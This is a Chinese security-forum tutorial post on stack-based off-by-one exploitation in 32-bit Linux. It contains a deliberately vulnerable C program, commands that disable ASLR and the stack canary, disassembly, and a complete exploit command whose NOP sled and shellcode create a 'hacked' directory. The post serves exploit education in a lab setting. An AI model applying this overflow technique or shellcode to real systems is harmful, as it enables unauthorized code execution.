首页
论坛
课程
招聘
[原创]Linux平台OffByOne(基于栈)漏洞
2017-7-5 17:16 5966

[原创]Linux平台OffByOne(基于栈)漏洞

2017-7-5 17:16
5966

前一段时间在看雪上看到hackyzh翻译的《Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))》 文章,后面又查看了英文原文,https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/,发现原文作者的exp跑不通,并且部分地方讲解的不利于理解,所以按照自己的理解,重新整理了offbyone基于栈的漏洞,同时附上相关exp。

基于栈的OffByOne

一、漏洞原因

         将源字符串复制到目标缓冲区时,可能会导致offbyone。当源字符串长度等于目标缓冲区的长度时,单个NULL字节将被复制到目标缓冲区上方,由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意代码执行(此处copy的原文)

二、漏洞攻击演示

         漏洞演示环境:Ubuntu 12.04-32

漏洞代码:

#include <stdio.h>

#include <string.h>

void foo(char* arg);

void bar(char* arg);

void foo(char* arg) {

 bar(arg); /* [1] */

}

void bar(char* arg) {

 char buf[256];

 strcpy(buf, arg); /* [2] */

}

int main(int argc, char *argv[]) {

 if(strlen(argv[1])>256) { /* [3] */

  printf("Attempted Buffer Overflow\n");

  fflush(stdout);

  return -1;

 }

 foo(argv[1]); /* [4] */

 return 0;

}

在编译时,先切换到root,关闭Linux的地址随机化(ASLR)特性,命令如下:

echo 0 > /proc/sys/kernel/randomize_va_space

(恢复)开启ASLR命令如下

echo 2 > /proc/sys/kernel/randomize_va_space

编译命令如下:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln -g   offbyone.c

 编译命令的详细解释,放到了3.1章节中。

上述漏洞代码的第[2]行可能是发生off by one溢出的地方。目标缓冲区长度时256,因为长度为256字节的源字符串可能导致任意代码执行。

漏洞利用:

我们来看一下上述代码的堆栈布局,确定调用者的EBP是否位于目标缓冲区至上,也就是strcpy之后,单个NULL字节是否覆盖调用者的EBPLSB

Main函数

.text:08048497 ; int __cdecl main(int   argc, const char **argv, const char **envp)

.text:08048497                 public main

.text:08048497 main            proc near               ; DATA XREF: _start+17o

.text:08048497

.text:08048497 var_8           = dword ptr -8

.text:08048497 argc            = dword ptr  8

.text:08048497 argv            = dword ptr  0Ch

.text:08048497 envp            = dword ptr  10h

.text:08048497

.text:08048497                 push    ebp

.text:08048498                 mov     ebp, esp

.text:0804849A                 push    edi

.text:0804849B                 sub     esp, 8

.text:0804849E                 mov     eax, [ebp+argv]

.text:080484A1                 add     eax, 4

.text:080484A4                 mov       eax, [eax]

.text:080484A6                 mov     [ebp+var_8], 0FFFFFFFFh

.text:080484AD                 mov     edx, eax

.text:080484AF                 mov     eax, 0

.text:080484B4                 mov     ecx, [ebp+var_8]

.text:080484B7                 mov     edi, edx

.text:080484B9                 repne scasb

.text:080484BB                 mov     eax, ecx

.text:080484BD                 not     eax

.text:080484BF                 sub     eax, 1

.text:080484C2                 cmp     eax, 100h

.text:080484C7                 jbe     short loc_80484EA

.text:080484C9                 mov     eax, offset format ; "attepted   buffer overflow"

.text:080484CE                 mov     [esp], eax      ; format

.text:080484D1                 call    _printf

.text:080484D6                 mov     eax, ds:stdout@@GLIBC_2_0

.text:080484DB                 mov     [esp], eax      ; stream

.text:080484DE                 call    _fflush

.text:080484E3                 mov     eax, 0FFFFFFFFh

.text:080484E8                 jmp       short loc_80484FF

.text:080484EA ;   ---------------------------------------------------------------------------

.text:080484EA

.text:080484EA loc_80484EA:                            ; CODE XREF:   main+30j

.text:080484EA                 mov     eax, [ebp+argv]

.text:080484ED                 add     eax, 4

.text:080484F0                 mov     eax, [eax]

.text:080484F2                 mov     [esp], eax      ; src

.text:080484F5                 call    foo

.text:080484FA                 mov     eax, 0

.text:080484FF

.text:080484FF loc_80484FF:                            ; CODE XREF:   main+51j

.text:080484FF                 add     esp, 8

.text:08048502                 pop     edi

.text:08048503                 pop     ebp

.text:08048504                 retn

.text:08048504 main            endp

foo函数:

.text:08048464 ; int __cdecl foo(char   *src)

.text:08048464                 public foo

.text:08048464 foo             proc near               ; CODE XREF: main+5Ep

.text:08048464

.text:08048464 src             = dword ptr  8

.text:08048464

.text:08048464                 push    ebp

.text:08048465                 mov     ebp, esp

.text:08048467                 sub     esp, 4

.text:0804846A                 mov     eax, [ebp+src]

.text:0804846D                 mov     [esp], eax      ; src

.text:08048470                 call    bar

.text:08048475                 leave

.text:08048476                 retn

.text:08048476 foo             endp

bar函数:

.text:08048477 ; int __cdecl bar(char   *src)

.text:08048477                 public bar

.text:08048477 bar             proc near               ; CODE XREF: foo+Cp

.text:08048477

.text:08048477 dest            = byte ptr -100h

.text:08048477 src             = dword ptr  8

.text:08048477

.text:08048477                 push    ebp

.text:08048478                 mov     ebp, esp

.text:0804847A                 sub     esp, 108h

.text:08048480                 mov     eax, [ebp+src]

.text:08048483                 mov     [esp+4], eax    ; src

.text:08048487                 lea     eax, [ebp+dest]

.text:0804848D                 mov     [esp], eax      ; dest

.text:08048490                 call    _strcpy

.text:08048495                 leave

.text:08048496                 retn

.text:08048496 bar             endp

注意:进行call调用时,会把Return Address地址压入到堆栈中,然后才push EBP。堆栈布局如下图(1-1)所示:

1-1:函数栈布局图

注意:上述图中的地址是动态运行时确定的,如何知道Foo’s EBP的地址和ESP的地址呢?这里需要借助于gdb,运行命令如下所示,l是显示源代码跟行号,r是运行(可加参数)break是增加断点,以便查看ebpesp的寄存器值。本机上执行GDB如下所示:


         从图1-1函数栈布局中,我们可以确认:该程序存在offbyone漏洞。当我们输入256个字节之后,空字节可以覆盖fooEBPLSB,当foo的存储在目标缓冲区”buf”之上的EBP被一个NULL字节覆盖时,ebp0xbffff588变成0xbffff500,从图1-1中我们可以看到0xbffff500是目标缓冲区”buf”的一部分,攻击者可以控制0xbffff500,从而控制指令指针EIP,达到任意代码执行。可能会有人会存在疑问?攻击者如何控制EIP寄存器的?

         如何控制EIP寄存器:

         bar函数中的汇编代码中,存在两行标红的代码:leaveretn指令。Foo也存在。

   其中leave指令:本质作用是方法调用完成后,消除相关栈上的数据。

leave: mov esp,ebp; 

pop ebp; 

ret/retn指令:将栈顶上的地址传递给EIP,即move EIP,ESP。然后程序执行流程就会跳转到EIP所指向的位置继续执行。

正常bar函数执行完以后,栈上的空间布局如下:


现在由于程序存在offbyone漏洞,攻击者覆盖foo’s EBPLSB之后,bar函数执行完以后,栈上的空间布局如下:

      

触发漏洞:

         首先先测试一下是否能够如上论述一样,能够控制EIP

gdb vuln

(gdb) r `python -c 'print "A"*256'`


         上图执行结果表明,EBP已经被覆盖,我们可以控制EIP寄存器的值。

         那现在如何漏洞利用,达到命令执行呢?也就是如何构造buf缓冲区的内容?由于buf位于0xbffff488-584之间,就是代码中申请的0x100(256)字节。此外foo’s EBP被覆盖之后,执行leaveretn指令时,会把0xbffff504(下文统一省去0xbffff的前缀)中的数据当成EIP,所以0x504的位置上数据应该是伪造的返回地址。而0x488-0x504(不包含0x504)之间的数据,用字符“A”来填充,0x504-ox488=124;为了执行任意代码,我们选定一串shellcode(可以从网址http://shell-storm.org/shellcode/选择)

Shellcode=”\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23”,长度为36bytes,该shellcode作用是在当前目录下mkdir hacked,然后退出。

我们将该shellcode存在0x548(也可以在0x538等地方,位置不限),现在栈上0x548-0x568(包含0x568)存放者这待执行的shellcode

剩下两处地方:一是buf末尾0x56C-0x588=28,用字符“A”来填充;另一处是0x508-0x548(不包含0x548),用NOP来填充。整个buf如下:

         


         执行命令:

./vuln `python -c 'print   "A"*124+"\x48\xf5\xff\xbf"+"\x90"*64+"\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23"+"A"*28'`

执行结果如下:hacked文件夹在当前目录下被创建。



三、其他说明和参考资料

3.1 GCC编译参数说明

-fno-stack-protector选项:关闭栈上的gs验证码。

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

 -z execstack选项:关闭ld链接器堆栈段不可执行机制。

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

-mpreferred-stack-boundary=num选项:让gcc编译器将堆栈指针按照2^num边界对齐。

Linux上该漏洞演示时,需要添加编译参数:-mpreferred-stack-boundary=num,该参数的意思是:让gcc编译器将堆栈指针按照4-byte(2^2=4)边界对齐(会较少栈的空间,但是指令访问会需要更多时间)。默认情况下,gcc编译器将堆栈指针采取16-byte边界对齐。不添加该参数时,缓冲区'buf'EBP的结尾之间找到一个对齐空间(最多12个字节),这不允许我们覆盖EBPLSB

-g:便于gdb调试。

3.2 无法覆盖EBPLSB

目标缓冲区之上可能存在其他局部变量。

void bar(char* arg) {

 int x = 10; /* [1] */

 char buf[256]; /* [2] */

 strcpy(buf, arg); /* [3] */

}

因此,在这些情况下,在缓冲区'buf'EBP的结尾之间找到了一个局部变量,它不允许我们覆盖EBPLSB

3.3 参考资料

1. http://bbs.pediy.com/thread-216954.htm

2. https://dhavalkapil.com/blogs/Shellcode-Injection/

3. https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/




[公告] 2021 KCTF 春季赛 防守方征题火热进行中!

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 37
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luobingguan 活跃值 2017-7-5 21:45
2
0
看看
雪    币: 37
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
luobingguan 活跃值 2017-7-5 21:45
3
0
看看
游客
登录 | 注册 方可回帖
返回